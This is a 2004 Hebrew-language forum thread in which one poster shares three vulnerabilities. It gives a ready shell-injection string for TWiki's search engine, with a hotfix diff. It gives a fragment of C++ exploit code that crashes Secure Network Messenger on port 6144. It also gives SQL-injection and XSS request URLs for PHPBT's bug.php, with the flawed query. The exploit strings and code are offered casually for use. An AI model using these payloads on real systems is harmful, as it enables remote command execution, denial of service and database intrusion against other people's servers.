ראשי > אבטחת מידע > כמה חורים חדשים - כי אני רואה שלא מפרסמים פה כלום
13/11/2004 18:48:07
spy[D]ir
הפורום הזה יבששש משהו אש אז בוא ניתן קצת רענון על חור יחסית חדש..(מתוך האימייל שלי, שמפוצץ מיילינג ליסטס חח)
TWiki "TWiki (TM) - A Web Based Collaboration Platform"
גילו שבגרסאות מסויימות (נראה שקודמות ל 2003\02\01) אפשר בלי בעיה להריץ פקודות על השרת מרחוק, בתור ה uid של השרת ווב או אם הוגדר אחרת הuid שמוגדר לטוויקי, הטוויקי בנוי בפרל, והמנוע חיפוש שלו לא בודק לערכים שיכולים להוציא אותו מהפרל ולהריץ פקודות על השאלל, דוגמא לסטרינג שיריץ 2 פקודות...אחת uname -a, והשניה ls / יעני להציג תשם של השרת ואז להראות את כל הקבצים ב \ ... קוד: doesnotexist1’; (uname -a; ls /etc) | sed ’s/\(.*\)/__BEGIN__\1__END__.txt/’; fgrep -i -l -- ’doesnotexist2
הפלט שיחזיר האתר הם תוצאות חיפוש רגילות, אבל בעצם הפלט של הפקודה עם __BEGIN__ בהתחלה ו __END__ בסוף.
אתר לדוגמא: ls /
התכוונתי לפרסם פה עוד חורים, אבל אין לי כוח חח, תשנו תכותרת
האא וכמובן HOTFIX למתענינים קוד: --- twiki/lib/TWiki/Search.pm.orig 2004-11-12 20:16:56.000000000 +0100 +++ twiki/lib/TWiki/Search.pm 2004-11-12 20:36:21.000000000 +0100 @@ -135,6 +135,11 @@ my $tempVal = ""; my $tmpl = ""; my $topicCount = 0; # JohnTalintyre + + # Hotfix for search string shell code insertion vulnerability + $theSearchVal =~ s/[^A-Za-z0-9+\-_]//g; # only accept known-good chars + $theSearchVal = substr($theSearchVal, 0, 100); # limit string to reasonable length + my $originalSearch = $theSearchVal; my $renameTopic; my $renameWeb = ""; [ההודעה נערכה על-ידי spy[D]ir ב-13/11/2004 20:12:22]
13/11/2004 21:31:44
spy[D]ir
פורסם: Application: Secure Network Messenger http://www.networkmessengers.com/msg/ Versions: <= 1.4.2 Platform: Windows Bug: crash Exploitation: remote Date: 12 November 2004 Author: Luigi Auriemma
Secure Network Messenger is a LAN messenger for Windows for exchanging encrypted messages and files. Is possible to crash the program sending malformed data.
והנה קוד קטן שכתבתי לו (משעמום יום השבת) עם הסברים למי שלא ממש מבין סי ++ (אפילו) Blah.cpp קוד: #include <stdio.h> #include "winsock2.h" char xplcode[] = "\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA\xD\xA";
// Send Exploit Code (or, just a bunch of \n\r’s) :-P send(my_s, xplcode, strlen(xplcode), 0); Sleep(2500); closesocket(my_s); // Close Socket printf("\n ************************************************ \n Exploit Sent!, Now Connect Target on port 6144,\n Hit RETURN, And SNM Will Die.\n ************************************************ \n");
return; }
קמפלו ב Borland c++ 5.5: bcc32 blah.cpp [ההודעה נערכה על-ידי spy[D]ir ב-13/11/2004 21:35:02]
13/11/2004 22:00:59
spy[D]ir
בעיות SQL INJECTION ב /bugs/bug.php של PHPBT http://phpbt.sourceforge.net/ - אתר התוכנה
פורסם היום שיש כמה חורי SQL INJECTION בפקודות שונות בתוכנה, והם: viewvotes (&bugid=) Add (&project=)
הבעיה העיקרית היא שבסוף הפקודה, הערך נשאר פתוח, ובמקרה של viewvotes יש אפשרות ל XXS אחרי הערך של bugid... כדי לנצל את זה צריך להריץ בקשות כמו קוד: /bug.php?op=viewvotes&bugid=1 [SQL code] /bug.php?op=viewvotes&bugid=1 union select 1,2,3/*%20 [XXS Code] /bug.php?op=add&project=0%20[SQL code]
הקוד הפגום: בעצם פספסו סגירות בשאילתות SQL - (" ’ ") ...במקום: "where u.user_id = v.user_id and bug_id = $bug_id ". צריך להיות "where u.user_id = v.user_id and bug_id = $bug_id’ ". בפונקצית viewvotes
[ Line 29-37 bug.php ]: קוד: function vote_view($bug_id) { global $u, $db, $t, $STRING;
$t->assign(’votes’, $db->getAll(’select login, v.created_date ’. ’from ’.TBL_AUTH_USER.’ u, ’.TBL_BUG_VOTE." v ". "where u.user_id = v.user_id and bug_id = $bug_id ". ’order by v.created_date’)); $t->wrap(’bugvotes.html’, ’bugvotes’);
אותו מקרה עם Add - Project ...
[ההודעה נערכה על-ידי spy[D]ir ב-13/11/2004 22:02:42]
עמודים:
1